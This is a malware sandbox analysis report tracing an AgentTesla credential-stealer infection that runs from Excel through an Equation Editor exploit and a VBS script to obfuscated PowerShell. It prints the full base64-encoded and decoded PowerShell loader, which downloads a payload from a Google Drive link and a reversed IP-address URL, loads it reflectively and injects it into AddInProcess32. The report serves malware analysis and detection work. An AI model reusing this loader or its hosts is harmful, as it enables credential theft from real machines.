2024-10-24 06:59:12 UTC	1378	IN	Data Raw: cc cb ea 1c 74 00 05 ac 0c 9f b3 cc 90 78 d7 da 68 22 d6 ab 38 f0 89 e4 9e 58 dc c8 a1 d4 44 ad d4 72 c4 ee 2c 47 16 c2 bb 67 8a fb 55 10 93 ed ee 9b 50 24 0b 1c c9 a2 0a c1 83 32 8f 22 1f 51 5f c4 07 3d c6 6b 7d 84 d4 3e 8b c6 3e d6 46 92 42 d1 a7 83 6a 9c 79 60 fa 76 95 3b 41 20 1e fc e6 27 db 14 0d f6 bd 1c 39 15 a7 d1 15 63 dc 7d de 2a c0 f4 9f b5 e9 e4 66 fb 3d e6 24 b1 ca 9a 3d 92 ab 22 a8 0d b5 18 f0 39 1c b5 73 ed 9f 39 d3 40 41 2e 25 da c3 e1 9f 58 fd b3 cb a6 6f 1d f0 5d 3e a6 49 04 50 a3 89 5d 41 69 0f 0a 68 02 40 ff 00 47 3e 63 19 73 11 0b 11 65 00 0e 08 04 1b e8 6b eb 80 16 49 4a b2 79 a5 95 81 06 85 60 df 46 15 81 f3 38 35 7e 95 be 3e 39 a4 c9 b9 76 15 28 d5 dc 7f 5c 4e 73 e4 05 56 91 c5 9a e2 bf b6 05 f4 30 9f 35 9c 92 39 b5 0d 44 9b f9 65 Data Ascii: txh"8XDr,GgUP$2"Q_=k}>>FBjy`v;A '9c}*f=$="9s9@A.%Xo]>IP]Aih@G>csekIJy`F85~>9v(\NsV059De
2024-10-24 06:59:12 UTC	1378	IN	Data Raw: 11 c0 1d b0 d0 a2 e9 d0 24 67 8e a4 62 b1 6a 36 30 0e 9b bb 59 ca c9 29 56 2c ad c9 e8 30 0c 1d 9a 6a 0e a2 8d 73 91 3f 98 ac a4 b2 d0 3e aa 1d 46 26 67 31 a3 3c 8a a3 6f 37 8a 68 7c 54 6a f5 6e a1 58 93 d2 ff 00 0e 06 b1 71 e6 86 14 01 e3 35 1a 26 01 02 90 40 51 98 a6 46 ad a5 68 8f 61 8f 47 3b be 94 12 18 38 e2 fb d6 03 ee 8a 40 e5 77 03 57 ed 99 72 41 73 19 59 82 95 36 6c f1 8d 39 91 62 57 03 e2 d7 94 79 b7 46 43 42 ac 08 a6 e7 00 12 a4 72 c2 35 01 d6 ec f4 c5 11 d9 e4 6d cc 09 19 da 9d f3 41 22 44 16 26 2a 55 6b b6 28 35 02 2d 54 7a 5a b7 65 b2 c7 e0 30 0b a9 94 45 a9 44 67 1b 4f 38 ea ea 12 29 46 c2 b5 fc 40 e2 7a bd 3a 4e ea d2 2a 8d b5 cd e5 e0 81 5d 4c c4 86 8f a5 8c 0d b6 d5 a0 d3 f9 88 a1 56 bf 2c cc 96 68 e6 f5 07 52 4f c7 13 f1 2d 54 ef a0 91 Data Ascii: $gbj60Y)V,0js?>F&g1<o7h\|TjnXq5&@QFhaG;8@wWrAsY6l9bWyFCBr5mA"D&Uk(5-TzZe0EDgO8)F@z:N]LV,hRO-T

Target ID:	0
Start time:	02:58:13
Start date:	24/10/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f6b0000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	02:59:02
Start date:	24/10/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:59:05
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs"
Imagebase:	0xd40000
File size:	141'824 bytes
MD5 hash:	979D74799EA6C8B8167869A68DF5204A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:59:05
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x9b0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:59:06
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"
Imagebase:	0x9b0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:59:27
Start date:	24/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xbe0000
File size:	42'056 bytes
MD5 hash:	EFBCDD2A3EBEA841996AEF00417AA958
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.628239471.00000000023C5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	16.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	53.7%
Total number of Nodes:	54
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0356047F Relevance: 4.5, APIs: 3, Instructions: 37
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(00000000,0356041B,?,00000000,00000000), ref: 03560481

Part of subcall function 03560498: ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 035604BF
Part of subcall function 03560498: ExitProcess.KERNEL32(00000000), ref: 035604D7

Memory Dump Source

Source File: 00000002.00000002.472683807.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileProcessShell
String ID:
API String ID: 3584569557-0
Opcode ID: 2ac2e785a5df96b5b1d2b6d05b07d367621e1ab0833f3c674eb7a3d1e14328db
Instruction ID: 65173ce798605d7edf1ef3fcaa3ae623067134ee029c1d3f0c0f7bf763ea3ee3
Opcode Fuzzy Hash: 2ac2e785a5df96b5b1d2b6d05b07d367621e1ab0833f3c674eb7a3d1e14328db
Instruction Fuzzy Hash: A0F0E2A064C3802AFA21E374BC5AF5A6E28BFA1702F554889B1535F0F3E9808800C729

Function 035604AD Relevance: 3.0, APIs: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 035604BF

Part of subcall function 035604D2: ExitProcess.KERNEL32(00000000), ref: 035604D7

Memory Dump Source

Source File: 00000002.00000002.472683807.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd

Similarity

API ID: ExecuteExitProcessShell
String ID:
API String ID: 1124553745-0
Opcode ID: 9bb4a9efaea7c07eca078e7354966bed14a700fa2dbfda34c55d40211f488600
Instruction ID: 03fa65b747b144ed716de8f7833380a64f45e31a1adea81fb57cd322c3e5ae6c
Opcode Fuzzy Hash: 9bb4a9efaea7c07eca078e7354966bed14a700fa2dbfda34c55d40211f488600
Instruction Fuzzy Hash: A70126E4A4C39221DB74F228F836BEAAB55BBB1700FCC8C46A882070F5E55494C3CB59

Function 03560498 Relevance: 3.0, APIs: 2, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.472683807.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd

Similarity

API ID: ExecuteExitProcessShell
String ID:
API String ID: 1124553745-0
Opcode ID: 86e204669779fcf6b1d289fc5e1d83ca539377395524096db536a032bfc48ab3
Instruction ID: f95c2207c0be3a83675ec27a4f0fb3765c3a8d20cd532e5612380e150750d1c6
Opcode Fuzzy Hash: 86e204669779fcf6b1d289fc5e1d83ca539377395524096db536a032bfc48ab3
Instruction Fuzzy Hash: CC0149E0A4C34621E774E224FC69BA9AE85BBB1704F98885AF4920B0F5E7844843C71D

Function 035603F0 Relevance: 1.6, APIs: 1, Instructions: 62
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(035603E2), ref: 035603F0

Memory Dump Source

Source File: 00000002.00000002.472683807.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d3ab71366fc078d12fd803f0fe5b75a5ccdd2bfd2dcf227f54128e7e6e1f1fe3
Instruction ID: 3cf850d272d7695f69e290d0f70222c0cc942f8a13157ffda2e265f42646f827
Opcode Fuzzy Hash: d3ab71366fc078d12fd803f0fe5b75a5ccdd2bfd2dcf227f54128e7e6e1f1fe3
Instruction Fuzzy Hash: 2111139280E7C21FCB2783701D7AA65BF742E2310576D89CFD0C20B8E3E6889186C797

Function 035604D2 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 035604D7

Memory Dump Source

Source File: 00000002.00000002.472683807.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction ID: f49c04242a7a61e974833cf8218924656bc711991e28e6f13ed51e74029fe7d2
Opcode Fuzzy Hash: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction Fuzzy Hash:

Function 035604D9 Relevance: .0, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.472683807.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction ID: d9f098d329dd2f63d0015820fda38e6ee43ea1a8f3e9e7fa0f757f5a5c82d4dd
Opcode Fuzzy Hash: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction Fuzzy Hash: 10D05271206502CFC314DB04D990E1BF37AFFD8225B28C268E0024BB6AC330EC92CA94

Non-executed Functions

Function 03560329 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(03560317), ref: 03560329

Memory Dump Source

Source File: 00000002.00000002.472683807.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: a70d04497ce49d76cc33172d830df23bf5400cfba90bfd5012ff64398446be3d
Instruction ID: 2e0701212cf23a4bbf4a76a56cbd42c339c2a6abcd03a5728a97aefc47684f24
Opcode Fuzzy Hash: a70d04497ce49d76cc33172d830df23bf5400cfba90bfd5012ff64398446be3d
Instruction Fuzzy Hash: 31110F69A0D3C04FD316D2707AAA154FF21BA9341271C86CF81858F0F3E295A147D383

Analysis Process: powershell.exePID: 3884, Parent PID: 3840COMMON

Executed Functions

Function 001DD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.569344168.00000000001DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 816c7c512b608b6fcad81d4754d364b6cade5c2ac4ba80116c47b794cfad9ac3
Instruction ID: 2a0aaed5be7078395fd73516134c33993800963f323f1b6f2a347083bdf77298
Opcode Fuzzy Hash: 816c7c512b608b6fcad81d4754d364b6cade5c2ac4ba80116c47b794cfad9ac3
Instruction Fuzzy Hash: 54018471504340AAE7144A15DC84B67BB98DFC1724F18C556EC495B282C3799945CAB1

Function 001DD006 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.569344168.00000000001DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79f023b7b80c73bfe361b94ba4c009a78bd8953642823e181424660c34bcdff4
Instruction ID: e631fd7b23e245d5777e48e0fedf3e872c9ee418420c19ef6fec9afaaa456130
Opcode Fuzzy Hash: 79f023b7b80c73bfe361b94ba4c009a78bd8953642823e181424660c34bcdff4
Instruction Fuzzy Hash: FE019E6150E3C09FE7128B259C94B52BFB4DF52224F19C1CBE8888F2A3C2689C49C772

Analysis Process: powershell.exePID: 3984, Parent PID: 3884COMMON

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	61
Total number of Limit Nodes:	6

Executed Functions

Function 00312C88 Relevance: .5, Instructions: 511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.519940452.0000000000310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_310000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcd1b6c3cfc9d4f42dbe9fd3d76a488e9a2288c51080e3d049d24cdee11b1984
Instruction ID: 2102458b7e010d67071da6ea81ce9879f25cee7eaa6f5b5945f883e5b44d8a48
Opcode Fuzzy Hash: dcd1b6c3cfc9d4f42dbe9fd3d76a488e9a2288c51080e3d049d24cdee11b1984
Instruction Fuzzy Hash: 92224934A01248AFDB19DFA8D484ADEBBF2FF88314F258559E405AB351C771ED86CB90

Function 00319360 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 585
memoryprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,00000000,00003000,00000040), ref: 003195ED
VirtualAllocEx.KERNEL32(?,00000000,00000000,00003000,00000040), ref: 0031966C
ResumeThread.KERNELBASE(?), ref: 00319882
CreateProcessW.KERNEL32(00000000,?,00000009,?,?,?,?,?,?,?), ref: 00319B7C

Strings

lX , xrefs: 003195C9, 00319648

Memory Dump Source

Source File: 00000008.00000002.519940452.0000000000310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_310000_powershell.jbxd

Similarity

API ID: AllocVirtual$CreateProcessResumeThread
String ID: lX
API String ID: 1213262536-2093460002
Opcode ID: d3fea46975d9b446e563341c4808f9296500bf5e6be3e0d54c39109c64961a63
Instruction ID: 65d7b106288f4b5d640990ab9bbb3ec7d3ae5d24d289e64e1ff32ca9f156ba63
Opcode Fuzzy Hash: d3fea46975d9b446e563341c4808f9296500bf5e6be3e0d54c39109c64961a63
Instruction Fuzzy Hash: D4326070A002188FDB29DF65C854BDDBBB2BF89304F1481AAD509AB391DB749EC5CF51

Function 003192E6 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 389
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

lX , xrefs: 003195C9, 00319648

Memory Dump Source

Source File: 00000008.00000002.519940452.0000000000310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_310000_powershell.jbxd

Similarity

API ID:
String ID: lX
API String ID: 0-2093460002
Opcode ID: 41f0a6ea24f5bc38ba0d5be08dfac55f78cb64b0a1c94789a71eba3942c02c2f
Instruction ID: 294b2c6df71d55526f6861f4380c9a1a7a13a38c52d40dac38cf24745170e07c
Opcode Fuzzy Hash: 41f0a6ea24f5bc38ba0d5be08dfac55f78cb64b0a1c94789a71eba3942c02c2f
Instruction Fuzzy Hash: 13F18170A042188FDB25CF25CC54BD9BBB2BF89314F2581AAD549AB392DB709DC4CF51

Function 008B14B8 Relevance: 2.5, Strings: 2, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

l;], xrefs: 008B14F6
l;], xrefs: 008B14C5

Memory Dump Source

Source File: 00000008.00000002.520032653.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID: l;]$l;]
API String ID: 0-951176615
Opcode ID: 4876ecd9df4989d43aa8272387e1e934cf4afe455a34845632dbd389324622f5
Instruction ID: a96540a544d67d9c64ed40ad4aebb4aacdcb93673861a656e2e1aeffcf1881ae
Opcode Fuzzy Hash: 4876ecd9df4989d43aa8272387e1e934cf4afe455a34845632dbd389324622f5
Instruction Fuzzy Hash: 28F0C87435020C67EB3826758815F7F29DAEBC8B41F50802AF5069F3C2DDB1DD818319

Function 003187E4 Relevance: 1.7, APIs: 1, Instructions: 156
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32(00000000,?,00000009,?,?,?,?,?,?,?), ref: 00319B7C

Memory Dump Source

Source File: 00000008.00000002.519940452.0000000000310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_310000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 19e0726968c39f1c729ce6ac7551dedbe0ea482ded3772b1b9d57b74ac217818
Instruction ID: be7a35ef600600537b8bb87314ec415e51d8055ec11eaba47d399eaf36bd818e
Opcode Fuzzy Hash: 19e0726968c39f1c729ce6ac7551dedbe0ea482ded3772b1b9d57b74ac217818
Instruction Fuzzy Hash: D4512471901219DFEF29CF99C880BDDBBB5BF48304F1584AAE909B7250D7319A88CF90

Function 00319DE9 Relevance: 1.6, APIs: 1, Instructions: 64
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,00000000,00000000,165B197F,00000000,?,?,?,00000000,00000000,?,003196C2,?,00000000,?), ref: 00319E6C

Memory Dump Source

Source File: 00000008.00000002.519940452.0000000000310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_310000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d2fe501cac2d905cf7656594a6374369d786bb4ff0b9c9bd438f4e53e43adb22
Instruction ID: e76e13f14c7cc645f60ea25e01b87331c0978d6720a80927188558cc7ef37723
Opcode Fuzzy Hash: d2fe501cac2d905cf7656594a6374369d786bb4ff0b9c9bd438f4e53e43adb22
Instruction Fuzzy Hash: 2221C4B59003499FDB11CF9AC884BDEBBF4FF48310F55842AE958A7250D378AA44CFA5

Function 00318808 Relevance: 1.6, APIs: 1, Instructions: 63
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,00000000,00000000,165B197F,00000000,?,?,?,00000000,00000000,?,003196C2,?,00000000,?), ref: 00319E6C

Memory Dump Source

Source File: 00000008.00000002.519940452.0000000000310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_310000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b8cfb895451a658fa5ba91cd6c2e4fba022d46a12a53ea62fc4caec4e61b2c50
Instruction ID: 932815296d7cb0fcc7466f007957bb3f1859e5c7b6a87704cc2476240cf85f19
Opcode Fuzzy Hash: b8cfb895451a658fa5ba91cd6c2e4fba022d46a12a53ea62fc4caec4e61b2c50
Instruction Fuzzy Hash: 4B21E7B1900349DFDB10CF9AD884BDEBBF4FB48310F51842AE918A7240D378AA54CFA5

Function 00318814 Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,003194CA), ref: 00319CE3

Memory Dump Source

Source File: 00000008.00000002.519940452.0000000000310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_310000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: afa5aa302d9369a2ba697a4d8faf8d488948bf04b9915ec83154d940e0d140fe
